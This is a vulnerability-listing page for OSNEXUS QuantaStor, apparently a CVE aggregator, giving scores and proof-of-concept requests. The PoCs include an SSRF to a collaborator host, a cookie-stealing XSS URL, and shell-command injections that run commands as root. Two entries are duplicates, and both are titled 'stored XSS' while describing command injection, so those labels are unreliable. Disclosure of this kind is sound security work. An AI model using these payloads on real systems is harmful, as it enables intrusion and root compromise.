Osnexus: >> Quantastor Security Vulnerabilities
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert with this request
GET /qstorapi/alertRaise?title=test&message=test&severity=1
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 1
The post request received by <TARGET> looks like this:
{
### Python FLASK stuff ####
'endpoint': 'index',
'method': 'POST',
'cookies': ImmutableMultiDict([]),
### END Python FLASK stuff ####
'data': b'{
"attachments": [
{
"fallback": "[122] test / test.",
"color": "#aa2222",
"title": "[122] test",
"text": "test",
"fields": [
{
"title": "Alert Severity",
"value": "CRITICAL",
"short": false
}, {
"title": "Appliance",
"value": "quantastor (https://<HOSTNAME>)",
"short": true
}, {
"title": "System / Driver / Kernel Ver",
"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",
"short": false
}, {
"title": "System Startup",
"value": "Fri Aug 6 16-02-55 2021",
"short": true
}, {
"title": "SSID",
"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",
"short": true
},
],
"footer": "QuantaStor Call-home Alert",
"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",
"ts": 1628461774
}
],
"mrkdwn":true
}',
#### FLASK REQUEST STUFF #####
'headers': {
'Host': '<redacted>',
'User-Agent': 'curl/7.58.0',
'Accept': '*/*',
'Content-Type': 'application/json',
'Content-Length': '790'
},
'args': ImmutableMultiDict([]),
'form': ImmutableMultiDict([]),
'remote_addr': '217.103.63.173',
'path': '/payload/58',
'whois_ip': 'TNF-AS, NL'
}
#### END FLASK REQUEST STUFF #####
CVSS Score
6.2
EPSS Score
0.001
Published
2023-07-10
An attacker is able to launch a Reflected XSS attack using a crafted URL.
POC:
Visit the following URL
https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
CVSS Score
7.4
EPSS Score
0.001
Published
2023-07-10
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
CVSS Score
9.1
EPSS Score
0.001
Published
2023-07-10
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
CVSS Score
7.8
EPSS Score
0.0
Published
2023-07-10
An authenticated attacker is able to create alerts that trigger a stored XSS attack.
POC
* go to the alert manager
* open the ITSM tab
* add a webhook with the URL/service token value
' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters)
* click add
* click apply
* create a test alert
* The test alert will run the command
“id | tee /tmp/ttttttddddssss” as root.
* after the test alert inspect
/tmp/ttttttddddssss it'll contain the ids of the root user.
CVSS Score
8.7
EPSS Score
0.001
Published
2023-07-10
An authenticated attacker is able to create alerts that trigger a stored XSS attack.
POC
* go to the alert manager
* open the ITSM tab
* add a webhook with the URL/service token value
' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters)
* click add
* click apply
* create a test alert
* The test alert will run the command
“id | tee /tmp/ttttttddddssss” as root.
* after the test alert inspect
/tmp/ttttttddddssss it'll contain the ids of the root user.
CVSS Score
9.1
EPSS Score
0.001
Published
2023-07-10
On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, a flaw was found with the error message sent as a response for users that don't exist on the system. An attacker could leverage this information to fine-tune and enumerate valid accounts on the system by searching for common usernames.
CVSS Score
5.3
EPSS Score
0.164
Published
2017-08-28
On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, if the REST call invoked does not exist, an error will be triggered containing the invalid method previously invoked. The response sent to the user isn't sanitized in this case. An attacker can leverage this issue by including arbitrary HTML or JavaScript code as a parameter, aka XSS.
CVSS Score
6.1
EPSS Score
0.024
Published
2017-08-28